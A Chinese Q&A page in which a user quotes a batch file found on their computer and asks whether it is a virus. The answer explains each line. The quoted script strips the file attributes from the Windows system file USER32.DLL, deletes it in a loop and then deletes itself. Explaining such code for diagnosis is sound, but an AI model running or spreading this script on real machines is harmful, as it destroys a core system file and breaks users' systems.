请解释一个bat文件代码

来源:百度知道 编辑:UC知道 时间:2024/05/09 11:40:35
以下是从一个DeleteFileDos.bat文件中复制
@echo off
:Loop
attrib "C:\WINDOWS\SYSTEM\USER32.DLL" -r -a -s -h
del "C:\WINDOWS\SYSTEM\USER32.DLL"
if exist "C:\WINDOWS\SYSTEM\USER32.DLL" goto Loop
del %0
谁能解释一下这段代码是进行什么操作的。
我发现这个文件是在C盘的根目录上发现的,同时也发现了许多个BAT文件,并且代码一样,然后我在SYSTEM文件夹中发现命名是从1到21的可执行文件。还有我家电脑最近每次开机到桌面时总是跳出Explorer程序非法操作,即将关闭,并且输入法在任务栏上无法显示,是不是我家中病毒了?
那会不会引起我上面说的那些现象

这可能是病毒,这段代码执行的结果是删除你计算机上的系统文件"USER32.DLL",这是一个重要的系统文件,具体作用你可到网上自己找下.

del "C:\WINDOWS\SYSTEM\USER32.DLL" 这句是用来删除C:\WINDOWS\SYSTEM下的USER32.DLL文件.

if exist "C:\WINDOWS\SYSTEM\USER32.DLL" goto Loop 是判断你这个系统文件是否存在,如果存在就继续执行删除操作.